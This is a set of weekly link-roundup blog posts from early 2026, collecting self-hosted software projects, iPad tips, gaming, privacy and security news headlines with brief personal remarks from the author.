GitHub: Abrechen2 / TravStats: “Self-hosted flight tracker with interactive 2D/3D maps, 58 achievements, boarding-pass scanner, email/PDF import, and optional local LLM parsing — AGPL-3.0-or-later.”
GitHub: open-uem / openuem-console: “Repository containing the OpenUEM web user interface used to manage endpoints and agents”
- OpenUEM: “An Open-Source Unified Endpoint Manager that is self-hosted and lets you manage your IT assets thanks to its agents”
GitHub: raffomania / ties: “🪢Federated website aggregator”
GitHub: ether / etherpad: “Etherpad: A modern really-real-time collaborative document editor.”
- Etherpad Documentation
GitHub: MylarComics / mylar3: “The automated Comic Book downloader (cbr/cbz).”
- Mylar3: “Get back to what’s important - enjoying comics”
GitHub: AtalayaLabs / OxiCloud: “☁️ Ultra-fast, secure & lightweight self-hosted cloud storage — your files, photos, calendars & contacts, all in one place. Built in Rust.”
- OxiCloud: “Self-hosted cloud storage. Files, calendar & contacts — blazingly fast, written in Rust”
phoronix: Ubuntu 26.04 LTS Now Available & Powered By Linux 7.0
The Hacker News: Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain Campaign
GitHub: thecodingdad / grid-remote-card: “Customizable TV/media remote control card for Home Assistant with drag-and-drop grid layout”

w33k in g33k: March 13, 2026

Fri, 13 Mar 2026 17:00:00 -0400

Apple

Lifehacker: 10 Hacks Every iPad User Should Know
1. Use this hidden gesture to drag and drop multiple items at once: “When you tap and hold to select one item, drag your fingers out from the file to “pick” it up, but don’t let go just yet. With another finger, tap to pick up as many more files, photos, or links as you wish. They’ll all get collected under the finger you’re holding on to. Then, use your free hand to go to the Home Screen and open the app you want to drop everything off (like Notes or Mail). Once you let go, all the files will follow suit. This works within the Files app as well, which makes it a great way to move multiple files together. If you’re using the latest iPadOS version, you’ll also see a progress bar for transferring files at the top of the screen.” a. iPad User Guide: Learn advanced gestures to interact with iPad
2. Use “Windowed Apps” to turn your iPad into a computer: “You can do this from Settings > Multitasking & Gestures, but there’s a faster way from wherever you are in iPadOS. Open Control Center, tap the new Multitasking toggle and switch to Windowed Apps mode.” a. Lifehacker: The iPad Has Never Been More Like a Mac, but Can It Replace One?
3. Use this gesture for quick side-by-side app views: “One of the best new gestures added in iPadOS 26 is the flick gesture. Pick up a window when you’re in Windowed Apps mode, and just flick it to the right or the left of the screen. The window will then automatically resize itself to fit to half of the screen. When two apps are docked like this, you’ll see a new handlebar appear. You can drag it to resize the window split (going to a 70/30 split is a great ratio for multitasking, as one app essentially goes down to iPhone size). There are more gestures to know about, too. Using four or five fingers, swipe left or right on the screen to switch between apps, or app pairs. Swipe up and hold to enter app switcher mode (and to see a preview of all open apps). And of course you can swipe up with four fingers to go home. You can also swipe down from the top of the screen to reveal the Menu bar at any time.”
4. Change this setting to make the Files app more like Finder on Mac: “From the top toolbar you can now switch from the default Icons view to either a List view or a Column view. Column view is like Finder, where you can drill down into a folder structure while still maintaining easy access to top folders in columns to the left. On the other hand, if you manage a lot of files, and you like to see all file information, along with sort options, you should try List view. You can sort based on name, date created, date modified, size, or tags. And you can add or remove columns to customize exactly what shows up.”
5. Use “Sidecar” to turn your iPad into a second screen: “To enable Handoff, go to Settings > General > Airplay & Handoff > Handoff. Make sure the iPad is unlocked and nearby. Then, go to Control Center > Screen Mirroring and pick the iPad from your list. To use it as an external monitor, choose the Use As Separate Display option. If you want to use the iPad as a drawing surface for a Mac app, with Apple Pencil support, choose the Mirror Display option instead. You can now move freely between the iPad screen and the Mac. To arrange the layout for the screens, go to System Settings > Displays. For more tips, take a look at our detailed guide on using Sidecar.”
6. Use your iPad’s hidden “iPhone” keyboard to type with one hand: “Just pinch in with two fingers in the middle of the keyboard to switch to a floating mini-keyboard. You can drag it anywhere you please. (Alternatively, long-press the keyboard icon in the bottom right, then choose “Floating.”)”
7. Use Slide Over to pin a window to the top of the screen: “You can pin an app to the top of the screen using Slide Over if you want to refer to something else for a task (without shifting gears into the multitasking mode). First, you need to be in either Stage Manager or Windowed Mode. Then, open an app, long-press on the Stop Lights control in the top left, then tap “Enter Slide Over.” The app will shift to the side, and will always remain there, even when switching between apps. You can even resize the Slide Over window to make it as big or small as you want. You can hide the current Slide Over window by swiping the window to the edge of the screen. A small arrow button will appear in its place, which you can use to bring the window back. If you have a keyboard attached, use the keyboard shortcut Globe + Option + Right Arrow to send an app to Slide Over mode.”
8. Edit your handwritten text with Apple Pencil gestures: “To remove an error, just scratch or scribble over a word or sentence to delete it. To rearrange handwritten text, you can draw a circle around a word to pick it up. Then, you can move the word around and place it where you’d like it to go. If two words are too close to each other, you can draw a vertical slice between them to insert some space. Similarly, just press and hold the Pencil in between two words to insert text in the middle.”
9. Change default apps for your frequently used file types: “Open the Files app, then find a file type that you want to change (for example, always opening PNG files in Pixelmator instead of the Preview app). Tap and hold on the file, then tap “Get Info.” Here, choose “Always Open With,” and switch to a different app from the list. Apple will bring up a confirmation box. Here, select “Always Open.” The next time you tap on the file with the particular file extension, it will open in the app of your choice.”
10. Add folders to the Dock to access your files anywhere: “When multitasking on your iPad, you might routinely need to drag and drop files from Downloads or your work folder. You can add that folder directly to the Dock to quickly access the files within, without even opening the Files app. From the Files app, press and hold any folder that you want to add to the Dock, and tap “Add to Dock.” Or, you can simply drag and drop a folder to the Dock itself. Now, when you tap the folder icon in the Dock, you’ll see recently added files, or folders within it. You can then drag and drop any file you see here onto any app, or you can open the folder using the Open Folder option at the top of the file’s preview.”

Entertainment

Gizmodo: People Are Convinced Nathan Fillion Is Reviving ‘Firefly’ Via… Instagram Posts?
- I would love for Firefly to make a comeback… but i’m not going to get my hopes up only to be disappointed.
Waze Blog: Drive with “Star Trek” on Waze.
- I stopped using Google Maps because of the whole “gulf of america” garbage (Wired: Here’s How All Online Maps Are Handling the ‘Gulf of Mexico’ Name Change), i think Apple Maps now does it too, but Organic Maps i believe is safe… All that said, since Google owns Wze, I’m assuming they will have “gulf of america” too. I didn’t plan on using Waze long-term, i just wanted to play around with the new Star Trek additions.

Games

Windows Central: My top 5 Decky Loader plugins every SteamOS and Bazzite handheld gaming PC should use
- GitHub: shingonati0n / xivomega-decky: “Decky Plugin to mitigate latency on Final Fantasy XIV Online”
- GitHub: xXJSONDeruloXx / Decky-Lookup: “Per Game Web searches: PC Gaming Wiki, Google, Walkthroughs Etc”
- GitHub: rossimo / decky-pip: “Watch your favorite stream while you game!”
- GitHub: SteamGridDB / decky-steamgriddb: “Plugin for Decky Loader to apply and manage custom art assets from within gaming mode.”
- GitHub: itsOwen / playcount-decky: “A Steam Deck plugin that shows current player counts for your steam games.”
- GitHub: moraroy / NonSteamLaunchersDecky: “NonSteamLaunchers Decky Loader Version”
- GitHub: mubaraknumann / unifideck: “A Decky Loader plugin that brings together games from Steam, Epic Games Store, GOG and Amazon into a single, unified library experience on your Steam Deck.”
- GitHub: xXJSONDeruloXx / decky-lsfg-vk: “Decky plugin to streamline installation and usage of lsfg-vk; the Lossless Scaling compatibility layer for linux”
Engadget: The Playdate Catalog’s 3-year anniversary sale is here
- I haven’t used my Playdate in a bit, so this is a reminder to look at it again.
Hackaday: Running Ocarina Of Time On The Apple Watch
- YouTube: I Made OCARINA OF TIME Run on the Apple Watch!: Invidious is currently down, so i can’t post that link instead of direct to YouTube: “2026-03-11: Video playback is not working due to recent changes Youtube did. As always, just wait until a fix is released!”
- Just for fun… of course i would want to run Ocarina of Time on anything i possibly could.

Media

Plappa: “Audiobook player for Jellyfin and AudioBookShelf, written in Swift/SwiftUI”

Privacy

HackRead: Best DeleteMe Alternatives (2026): Competitors and Comparisons: “Best DeleteMe alternatives for 2026 compared, including Incogni, Optery, Aura, Kanary, and Privacy Bee for data broker removal and privacy protection.”
- DeleteMe
- Incogni
- Optery
- Aura
- Kanary
- Privacy Bee
IT’s FOSS: Age Verification Laws Are Multiplying Like a Virus, and Your Linux Computer Might be Next
- From the sound of it, time to get off Ubuntu?
Lifehacker: How the Government Uses Advertising Data to Track People (and What You Can Do to Limit It)
- Eh, who needs privacy. Right?

Security

Miscellaneous

Baby Buddy: iOS Shortcuts #300: I wanted to make note of these to get added to my account.
Help Net Security: OpenWrt 25.12.0 ships with new package manager, built-in upgrade tool, support for 2200+ devices
- It will take a little getting used to (although i really was using bash scripts for using opkg to get & upgrade packages.
HACKADAY: Experiment With The Pi Camera The Modular Way
- HACKADAY: Modular Pi Cam: “This started out as just me wanting to try round displays and the 5D directional pad… but as I worked on the project I realized the body could be modular eg. swap the camera module/front plate or back plate.”
Nerds.xyz: CachyOS quietly adds a way to run Windows inside Linux
- CachyOS: “CachyOS ships every package optimized for your CPU - compiled with x86-64-v3/v4 and Zen4 instructions, LTO, and PGO - on top of a custom kernel with the tuned EEVDF scheduler. The result: a noticeably faster Arch Linux experience with the same rolling-release flexibility you expect.”

selh.st: Self-Host Weekly (13 March 2026), by Ethan Sholly.

Google Play Store: IT Pro Tools – Cannoli Shell: “Cannoli Shell: Built for the IT Trenches.”
- I still use my Pixel Tablet a bit, so this might be useful.
/r/SelfHosted: PSA: Think hard before you deploy BookLore
Proxylity: WireGuard Is Two Things
GitHub: owenlejeune / ArrMatey: “A modern, all-in-one mobile client for managing your *arr stack. Built using KMP with native Jetpack Compose UI for Android and SwiftUI for iOS.”
- I think i saved this last week or the week before, but haven’t looked at or tried it yet.
GitHub: autobrr / autobrr: “Modern, easy to use download automation for torrents and usenet.”
- autobrr: Introduction
- “autobrr redefines download automation for torrents and Usenet, drawing inspiration from tools like trackarr, autodl-irssi, and flexget. We’ve combined the best of these worlds into one versatile tool that can do it all, and then some.” -GitHub: cshum / imagor-studio: “Self-hosted image gallery with built-in editing and template workflows”
- I probably would just use GiMP or Pixelmator for image editing, but web-based might be convenient across different systems or platforms where i don’t have those options.
GitHub: binwiederhier / ntfy: v2.18.0

This is the biggest release I’ve ever done on the server. It’s 14,997 added lines of code, and 10,202 lines removed, all from one pull request that adds PostgreSQL support.

w33k in g33k: March 06, 2026

Fri, 06 Mar 2026 17:00:00 -0400

selh.st: Self-Host Weekly (6 March 2026), by Ethan Sholly.

myrient: “Myrient will shut down on 31 March 2026. Download any content you find important. More information can be found on our Discord server and Telegram channel.”
James Read’s Code, Containers & Cloud blog: I hadn’t heard of OliveTin before, so i wanted to check it out.
- OlivTin: “Give safe and simple access to predefined shell commands from a web interface.”
Paul Parau: Building a privacy-focused home assistant
- Speaches Documentation: “speaches is an OpenAI API-compatible server supporting streaming transcription, translation, and speech generation. Speach-to-Text is powered by faster-whisper and for Text-to-Speech piper and Kokoro are used. This project aims to be Ollama, but for TTS/STT models.”
Jeff Geerling: Upgrading my Open Source Pi Surveillance Server with Frigate
- exaviz: Cruiser Carrier Board
- DeskPi: Pre-sale DeskPi 2U Mini Rack Mount Case (Pre-order) for the Exaviz Cruiser Carrier Board
GitHub: bunkeriot / BunkerM: “🚀 BunkerM: All-in-one Mosquitto MQTT management platform, featuring dynamic security, MQTT ACL management, monitoring, API and cloud integrations”
GitHub: figranium / figranium: “Figranium is a self-hosted, free browser automation and scraping platform built on Playwright, designed to handle everything from simple scraping to complex, human-like browser interactions. It provides a visual task editor, a structured JSON task format, and advanced execution modes that go far beyond traditional scrapers.”
- figranium
GitHub: home-assistant / core: 2026.3.0: “🏡 Open source home automation that puts local control and privacy first. "
GitHub: rommapp / romm: “A beautiful, powerful, self-hosted rom manager and player.”
GitHub: silverbulletmd / silverbullet: “An open source personal productivity platform built on Markdown, turbo charged with the scripting power of Lua”
GitHub: artifacts-oss / daylog: “📝 Self-hosted board-based simple text and markdown note taking web application.”
GitHub: oldany / dropmind: “Self-hosted memory cache for digital thoughts”
GitHub: bobbydd021-code / Lantern: “Real-time SvelteKit control panel for homelab/service monitoring with a visual editor, SSE live updates, and multi-node support.”
GitHub: kOlapsis / maintenant: “Monitor everything. Manage nothing.”
GitHub: getomnico / omni: “Workplace AI Assistant and Search Platform”
- Omni: “Your AI Assistant For Work. Omni connects to your work tools and learns your organization. Get instant answers, automate repetitive tasks, and work smarter with AI that understands your context across Google Workspace, Slack, Jira, and more.”
GitHub: JangaJones / pve-notebuddy: “Generate pretty Proxmox Guest Notes with a simple web based UI”
- I saved this before i saw it was for Proxmox.
GitHub: owenlejeune / ArrMatey: “A modern, all-in-one mobile client for managing your *arr stack. Built using KMP with native Jetpack Compose UI for Android and SwiftUI for iOS.”
GitHub: openclaw / openclaw: “Your own personal AI assistant. Any OS. Any Platform. The lobster way. 🦞”
- OpenClaw
GitHub: immich-power-tools/immich-power-tools: “Power tools for organizing your immich library”
- Immich Power Tools
GitHub: kOlapsis/shm: “🛡️ Privacy-first, Agnostic Telemetry for Self-Hosted Software.”
- SHM - Self-Hosted-Metrics: “Collect usage stats, verify active instances, and understand your user base without spying on them.”

w33k in g33k: February 27, 2026

Fri, 27 Feb 2026 17:00:00 -0400

/r/SelfHosted: Huntarr - Your passwords and your entire arr stack’s API keys are exposed to anyone on your network, or worse, the internet.
Ladybird
It’s FOSS: OpenClaw Alternatives That You Can Run on Raspberry Pi Like Devices
Felix Krause: OpenClaw - My Automation Setup
Gizmodo: The Original 151 Pokémon and Their History Are Up for Auction
CFO Silvia
Apprise Documentation: Suported Services
- I was looking over this list to see which services supported images &\or attachments.
It’s FOSS: FOSS Weekly #26.09: Linux Mint Shortcuts, OpenClaw Alternatives, Ladybird’s Rust Move, Super Productivity and More
Brave as Spyware
Simon Willison: I vibe coded my dream macOS presentation app
Cofense: Abusing Windows File Explorer and WebDAV for Malware Delivery

selh.st: Self-Host Weekly (27 February 2026), by Ethan Sholly.

/r/SelfHosted: Huntarr - Your passwords and your entire arr stack’s API keys are exposed to anyone on your network, or worse, the internet.
GitHub: yjeanrenaud / yj_nearbyglasses: “attempting to detect smart glasses nearby and warn you”
TIME: Exclusive: Anthropic Drops Flagship Safety Pledge
- TIME: Inside Anthropic, the AI Company Betting That Safety Can Be a Winning Strategy
GitHub: booklore-app / booklore v2.0.0: " BookLore: A self-hosted, multi-user digital library with smart shelves, auto metadata, Kobo & KOReader sync, BookDrop imports, OPDS support, and a built-in reader for EPUB, PDF, and comics."
- I haven’t been on top of my eBook library recently, but i remember deploying this to see if it’s
GitHub: Freika / dawarich: “Your favorite self-hostable alternative to Google Timeline (Google Location History)”
- I’m currently running Reitti, but keeping an eye out if there’s an alternative i like.
GitHub: Kyonew / DVinyl: “DVinyl is a modern, self-hostable collection manager designed for physical media enthusiasts. From Vinyls and CDs to Books and Movies, catalog, value, and organize your entire physical library through a single, customizable interface.”
- I didn’t realize this was for physical media when i saved it.
Codeberg: superseriousbusiness / gotosocial: “Fast, fun, small ActivityPub server. https://docs.gotosocial.org”
- More Fediverse services to look into.
GitHub: damongolding / immich-kiosk/: v0.33.0: “Highly configurable slideshows for displaying Immich assets on browsers and devices.”
- Another service i’ve been running & wanted to see what features were added.
GitHub: karakeep-app / karakeep v0.31.0: " A self-hostable bookmark-everything app (links, notes and images) with AI-based automatic tagging and full text search"
- I’ve been using Karakeep so i wanted to see what new features have been added.
GitHub: Sharkord / sharkord: “Lightweight, self-hosted, open-source chat server with voice, video, text, and screen sharing. Built for small groups who want privacy, simplicity, and full control over their data.”
- Discord replacement, if i could get Apprise working with any of these.
GitHub: bzlapp / Bzl: “Self-Hosted Ephemeral Community Engine”
- “Bzl is a self-hostable, modular social platform designed for creators and communities who want full control of their space. Launch your own instance, extend it with plugins, and shape the experience to fit your world.”
- I was just looking for something like Openvibe since I try to use my Mastodon, BlueSky, & Nostr accounts.
GitHub: Lungshot / dashma: “dashboard / start page”
- I guess the theme from selfh.st & my post this week is for dashboards.
GitHub: krelltunez / dayGLANCE: “A Day Planner App”
- dayGLANCE
GitHub: itsDNNS / docsigh: “DOCSIS cable modem monitoring dashboard with health assessment, trend charts, and Home Assistant integration via MQTT”
- I have to see if this would be compatible with Optimum, but looked interesting to run.
GitHub: santhoshjanan / donut-hole: “An AI-powered sidecar for Pi-hole that classifies the domains passing through your network, lets you review them, and exports a custom blocklist back to Pi-hole. It does not replace Pi-hole — it works alongside it.”
- Maybe i can get more use out of my RasPi AI HAT 2+.
GitHub: Sir-Scuzza / gluetun-webui: “A lightweight web UI for monitoring and controlling Gluetun — the VPN client container for Docker.”
- I haven’t had problems with Glutun, but it will be nice to just have an overview of the status.
GitHub: rackandhost / getmando: “A beautiful and simply dashboard”
- Another dashboard \ homepage i want to test.
GitHub: Anagraphy / roampage: “Roampage dashboard”
- I’m still looking for some kind of dashboard for an overview not just of my local services but also hosts.
GitHub: sunburnco / sunburn: “Chat, voice, and video, designed to self-host.”
- Sunburn
- I don’t really use Discord that much, but since i am using it a little bit for alerts through Apprise, i would like to find a replacement.
GitHub: nginx-proxy / nginx-proxy
- I wanted to look into this because i do use nginx.
GitHub: kite-org / kite: “🪁 A modern, lightweight Kubernetes dashboard.”
- I must have saved this thinking it was something else. I’m not running Kubernetes.

w33k in g33k: February 20, 2026

Fri, 20 Feb 2026 17:00:00 -0400

🤖 Artificial Intelligence \ Large Language Models

Simon Willison’s Weblog: Rodney v0.4.0
- GitHub: simonw / rodney: “CLI tool for interacting with the web”
Lifehacker: These Three Claude Premium AI Features Are Now Available for Free
- “File creation in Claude”: Ability to create “Word documents, PowerPoint slideshows, Excel spreadsheets, & PDFs”
- “Claude Connectors”: Allows you to connect Claude to “other apps, sites, & services.”
- “Claude Skills”: “With Skills, you can “teach Claude how to complete specific tasks in a repeatable way” (in the words of the official support document). In old-school computer talk, they might be referred to as macros: batches of set instructions that Claude can repeat whenever you need something doing in a particular way.”

Games

WCCF Tech: Nintendo Once Again Brings DMCA Hammer Down on Switch Emulators, But Eden Is Fighting the Notice:
- Citron: This domain is down, but this site is active. But… no downloads.
- Eden: Downloads still available at: GitHub: eden-emulator / Releases
- Kenji-NX: Android release repo is down, but the rest is active: GitHub: Kenji-NX / Releases
- MeloNX: Has links to Ryujinx: emu
- Pine: GitHub repo is DMCA’ed
- Pomelo: Repo on GitHub id down, but not GitLab
- Ryubing
- Ryujinx
- Skyline: No current releases available?
- Sudachi
- Sumi
- Suyu
- Yuzu
WCCF Tech: Star Trek: Voyager – Across the Unknown Review: I do still have to finish watching Voyager, but i wanted to look into the new Star Trek game.

IT Security

Malwarebytes Labs: Betterment data breach might be worse than we thought: Shiny Hunterswas the group involved. “We analyzed some of the data and found one particularly worrying CSV file with detailed data on 181,487 people. This file included information such as:
- Full names (first & last)
- Personal email addresses (e.g., Gmail)
- Work email addresses
- Company name & employer info
- Job titles and roles
- Phone numbers (both mobile & work numbers)
- Addresses & company websites
- Plan details—company retirement/401k plans, assets, participants
- Survey responses, deal & client pipeline details, meeting notes
- Financial needs/interests (e.g., requesting a securities-backed line of credit for a house purchase)
Help Net Security: Microsoft Defender update lets SOC teams manage, vet response tools

🐧 Linux

OMG Ubuntu: Official Ubuntu 26.04 ‘Resolute Raccoon’ mascot revealed

w33k in g33k: February 13, 2026

Fri, 13 Feb 2026 17:00:00 -0400

📚 Books \ Reading

Remy Sharp: Review: Bear Head (Dogs of War, #2): To add to my “to read” list that i’m never going to actually get through.
Gizmodo: Doom Overtakes 3 Very Different Planets, Earth Included, in This Eerie Sci-Fi Short Story

Docker

Docker API TLS certs
- I ran into some issues while getting this setup recently & plan to have a separate post with notes on how i finally got it working. I can also include Rootless Docker + Komodo with the TLS certs.

🎮 Games

Deckbrew
DeckThemes
itch.io: No ICE in Minnesota: “We created this bundle to raise funds for Immigrant Law Center of Minnesota in response to the Trump administration sending ICE agents to the Minneapolis area and the reckless murder of an innocent people by ICE agents. ILCM provides free immigration legal representation to low-income immigrants and refugees in Minnesota and North Dakota. They also work to educate the community about immigration matters and advocates for public policies which respect the universal human rights of immigrants. ILCM provides services based on capacity and has a generally high demand for services. The more we are able to fundraise, the more people they will be able to assist.”
Engadget: Pokemon Pokopia is so damn cozy: “Pokémon Pokopia can be described as a pocket monster-themed take on Animal Crossing with a hint of Stardew Valley thrown in for good measure.”
- When this was first announced it made my want to pickup Animal Crossing again, especially since there’s been a ton of new update & content since i last played it. If Pokopia is supposed to be (kind of) like Animal Crossing + Pokémon, i’m in =].
Engadget: This Itch.io bundle to help Minnesota includes over 1,200 games and costs just $10

🤓 g33k

Notifox Error handling in bash
- I still mainly use some bash scripts for backups of my services (i.e.: nginx, DailyTxT, Step-CA) so adding some error handling & having notifications got through ntfy or Gotify might be a good idea. I do have notifications currently setup, but there is no fancy logic to it at all.
Windows Central: Microsoft just made a command line version of the Microsoft Store for Windows 11 — install and update your apps without a GUI: “Store CLI is available now, and you can get started by typing store --help for a complete list of available commands.”
- I have scripts \ aliases \ functions written for Linux & macOS to make updating apps easier (macOS App Store included), so it will be nice to have something similar for Windows.
CipherOS: CipherOS on Rabbit R1 - Standard Android Experience Unleashed: Android ROM for Rabbit R1
- I have run a version of Android on the r1 before & while it wasn’t that bad, i ended up putting Ubuntu Mobile on there for a while. Now i want to give CipherOS a shot to see how it feels.

IT Security

Help Net Security: Brutus: Open-source credential testing tool for offensive security
- GitHub: praetorian-inc / brutus: “Fast, zero-dependency credential testing tool in Go. Brute force SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB, and 20+ protocols. Hydra alternative with native fingerprintx/naabu pipeline integration.”
Insinuator: One More Thing: Introducing the New macOS 26 Tahoe Hardening Guide

Miscellaneous

IT’S FOSS: Ghostty vs Kitty: Which Modern Terminal is the Best for Linux Users?
IT’S FOSS: DI.DAY is a Movement to Encourage People to Ditch Big Tech
IT’S FOSS: I Ditched Claude Code and Now Using Open Source Qwen AI for Real Sysadmin Work

🎥 📺 Movies & TV

Gizmodo: The New ‘Stargate’ Is Adding a Familiar Face in a Surprising Way
- The Mummy 4: Looking forward to this with Brendan Fraser & Rachel Weisz!
- Stargate: I mean… i don’t know if i would say this is “Adding a Familiar Face in a Surprising Way”… just that Joe Flanigan from Stargate: Atlantis appears to be a writer for the new series.

Self Hosted

IT’S FOSS: This Lesser-Known Nextcloud Alternative’s Latest Release Makes it More Suitable for Small Businesses
Group-Office: “Open Source groupware & CRM Software”
- I saw this mentioned as a Nextcloud replacement, but looking it over it doesn’t look like it has as many of the features that Nextcloud does. Maybe if it has some more time & look at it again in the future it will have more of what i’m looking for.

It’s FOSS: Meet Roomy: An Open-Source Discord Alternative for the Decentralized Web: “Roomy is an open-source Discord alternative built on the AT Protocol (ATProto), the same protocol that powers Bluesky, with ActivityPub (the protocol behind Mastodon, Pixelfed, Pleroma, and others) planned for the near future. Currently in alpha, it sits somewhere between Matrix and Discord in terms of its practical position in the broader chat ecosystem.”
- Since Discord is going to start being creepy & requiring some kind of ID, time to start looking into something else; not that i was using Discord that much. If it really is just for “adult” content then maybe it’s not such a huge deal, but requiring age verification sounds like it’s going in the wrong direction.
- Ars Technica: Discord faces backlash over age checks after data breach exposed 70,000 IDs
- Roomy
- Stoat

selh.st: selfh.st: Self-Host Weekly (13 February 2026), by Ethan Sholly

Discord Alternatives: I wanted to look into at least some of the servives Ethan has listed here:
- Established: Matrix, Stoat, Mattermost, Rocket.Chat, Zulip
- Smaller But Growing: Campfire, Spacebar, Positive Intentions
- Newcomers: Sharkord, Fluxer, Haven, OpenChat
- Forums: Discourse, NodeBB, Lemmy, Apache Answer, Flarum, Storyden
- See Also: Cinny (Discord-styled Matrix client), MostlyMatters (Mattermost fork without user limits)
Vaultwarden Security Fix: v.1.35.3 fixes GHSA-h265-g7rm-h337: “This vulnerability would allow an authenticated attacker that is part of an organization to access items from collections to which the attacker does not belong.”
Jeff Geerling: The first good Raspberry Pi Laptop
- Argon Forty: Argon ONE UP CM5 Laptop Core System: Too bad this is sold out… i am tempted to pick this up.
GitHub: amir20 / dozzle: v.10.0.0
- I’ve been running Dozzle for a little while now & since it’s a big release, i wanted ot checkout what has been added recently.
GitHub: open-webui / open-webui: v0.8.0
- I do still have to get back to working on my RasPi5 + AI HAT 2, & see what has been added to OpenWebUI for this version.
GitHub: timothepoznanski / poznote: Release 4.6.0
- I have to finish my post about the different text editors \ notes \ etc apps I’ve been running so that I can remember why i liked or didn’t like a specific one…
- But like the adds above, i wanted to read over the release notes here to see what was added with the new version.
GitHub: got3nks / amutorrent: “A unified download manager for aMule and rTorrent: manage both ED2K and BitTorrent downloads from a single modern web interface.”
- Looked pretty, so just wanted to see the details about it.
GitHub: CodesWhat / drydock: “Automated container update monitoring with multi-registry support and flexible notifications.”
- I’m happy now that I moved to Komodo so Drydock might not even be something to look into.
GitHub: akitaonrails / FrankMD: “Self-hosted, Simple Markdown Web Editor and Notes Organizer”
- Because what i need is more note services 🙃
GitHub: ancsemi / Haven: “Self-hosted private chat — your server, your rules. No cloud, no telemetry, no Big Tech. Discord alternative that runs on your own machine.”
- Not that i even use Discord that much, but i wanted to look into alternatives & believe this is one that Ethan mentioned above.
GitHub: TopSwagCode / help-motivate-me: helpmotivate.me: “A habit tracking and identity-based motivation application built with SvelteKit and .NET. Inspired by James Clear’s Atomic Habits, this app helps you build better habits through identity reinforcement, habit stacking, journaling, and AI-assisted guidance.”
- Might look at this not just for the “motivation” part, but also reminders \ tracking on certain “chores” getting done, how often, etc.
GitHub: porthorian / openchat-client: “OpenChat Client is an open-source Electron desktop app that provides a Discord-like experience while connecting each joined server to its own independent backen”
- Possible Discord alternative.
GitHub: ClassicOldSong / Plexsonic: “Plex Music to Subsonic bridge”
- I probably don’t need another service to play local music when i have Plex & Jellyfin (& i do subscribe to Apple Music… don’t hate me)
GitHub: Sharkord / sharkord: “Lightweight, self-hosted, open-source chat server with voice, video, text, and screen sharing. Built for small groups who want privacy, simplicity, and full control over their data.”
- Possible Discord alternative.
GitHub: fr4nsys / usulnet: “Self-hosted platform for managing containers, stacks, security scanning, monitoring, reverse proxy, and multi-node deployments — all from a single, modern interface. A single Go binary with no runtime dependencies. Templates compiled at build time. No Node.js, no Python, no heavy frontend frameworks. Just fast, reliable infrastructure management.”
- This might not be needed since i’m running Komodo.
GitHub: sfox38 / whodunnit: “Whodunnit: A Sensor for Home Assistant which indicates the ‘who’ and ‘how’ behind every state change by linking real-time event contexts to their human or automated origins”
- There’s only two of us in the house, so this would be overkill…
GitHub: Materialious / Materialious: “Materialious is a modern material design frontend for YouTube & Invidious, focused on a clean, privacy-friendly YouTube experience. It supports local video fallback when Invidious fails and is available on Web, Desktop, Android, and Android TV.”
- Each time i post on Mastodon \ BlueSky \ etc, it kills me a little inside to post a YouTube link instead of something like the Invidious link.

w33k in g33k: February 06, 2026

Fri, 06 Feb 2026 17:00:00 -0400

Dark Reading: Attackers Use Windows Screensavers to Drop Malware, RMM Tools: Just thought it was interesting that this is going in circles again. It’s been a while since i’ve seen SCR files used for malicious actions, but maybe it’s making a comeback.
Help Net Security: Microsoft brings project-focused AI agents into OneDrive: I wanted to see if this would be beneficial for work.
Help Net Security: Why a decade-old EnCase driver still works as an EDR killer: I saved it because it sounded interesting & i wanted to read it, plus could be beneficial for work.

selh.st: Self-Host Weekly (6 February 2026), by Ethan Sholly.

Kometa: “Kometa is a powerful tool designed to give you complete control over your media libraries. With Kometa, you can take your customization to the next level, with granular control over metadata, collections, overlays, and much more.”
GitHub: Nezreka / Museck: “A Decky Loader plugin that streams music from your media servers on Steam Deck.”
Nextcloud Blog: A new data access architecture for Nextcloud: introducing the ADA engine: I saved this since i am running Nextcloud at the moment. Right now it’s where i compose my posts for the site, but playing around with other notes platforms to see if there’s something else that might work better.
- “Dubbed ADA, which stands for Accelerated Direct Access, the new engine is designed to pre-calculate and cache the data access and permissions, offering direct file access and actively pushing data to the clients, ensuring responsive access when users navigate the system.”
GitHub: gethomepage / homepage: v1.10.0: " A highly customizable homepage (or startpage / application dashboard) with Docker and service API integrations."
- I wanted to review to see what was added in this version since i am running Homepage.
GitHub: usememos / memos v0.26.0: " An open-source, self-hosted note-taking service. Your thoughts, your data, your control — no tracking, no ads, no subscription fees."
- Same as above – running Memos & want to see what’s new.
GitHub: navidrome / navidrome: " 🎧☁️ Your Personal Streaming Service"
- I’m already running Plex & Jellyfin for music, but have heard about navidrome for years & want to try it.
GitHub: Panonim / dynacat: “A fork of ‘glance’ dashboard with dynamic reloading.”
- I have looked at Glance in the past & don’t think it was for me, but always worth re-visiting things.
GitHub: Vesperino / MerMarkEditor: “Elegant and simple Markdown, Mermaid editor”
- Another notes app i can try.
GitHub: Vsein / Neohabit: “A self-hosted habit-tracker with a new approach to heatmaps, and flexible habits that happen X times in Y days.”
- I think i have one or two habit tracking apps on my phone, so going to compare to this.
GitHub: albertasaftei / plumio: " A self-hosted markdown editor with live preview, document encryption, multi-user support, and multi-organization capabilities."
- Yet another notes app i can try…
GitHub: poisonarp / SimpleTrack: " Domain and SSL Tracker"
- I use Certbot with step-ca so shouldn’t have to worry about expiring certs, but could be useful for work as well.
GitHub: 1Panel-dev / 1Panel: " 🔥 1Panel offers an intuitive web interface for Linux server, making it easy to manage OpenClaw agents, LLMs, websites, databases, containers, files, and scheduled tasks."
- Since most of my “servers” are Linux, a single \ central place to at least monitor would be nice. I’ve tried using Cockpit but it doesn’t have full capabilities on certain distros & didn’t really give me a single view of everything.
NetBox: “Manage your network and infrastructure with confidence. NetBox is the world’s most popular platform for understanding, operating, automating, and securing networks.”
- I can’t remember if I’ve tried this before.
selfh.st: Self-Hosted Software Names You’re Probably Mispronouncing: I wanted to look this over because i know i was pronouncing “calibre” wrong for a while…
YouTube: We Need Your Help to Make Immich Better!
- Immich: Dataset Uploader
YouTube: Which Apps Should You Run in 2026?
YouTube: Termix - Take back your server management.
- I set this up a few weeks ago but keep forgetting I have it.

selh.st: Self-Host Weekly (30 January 2026), by Ethan Sholly.

OpenClaw: I keep meaning to look into this, but haven’t gotten to it yet.
The Cloudflare Blog: Building a serverless, post-quantum Matrix homeserver
GitHub: jordan-dalby / ByteStash: “A code snippet storage solution written in React & node.js”
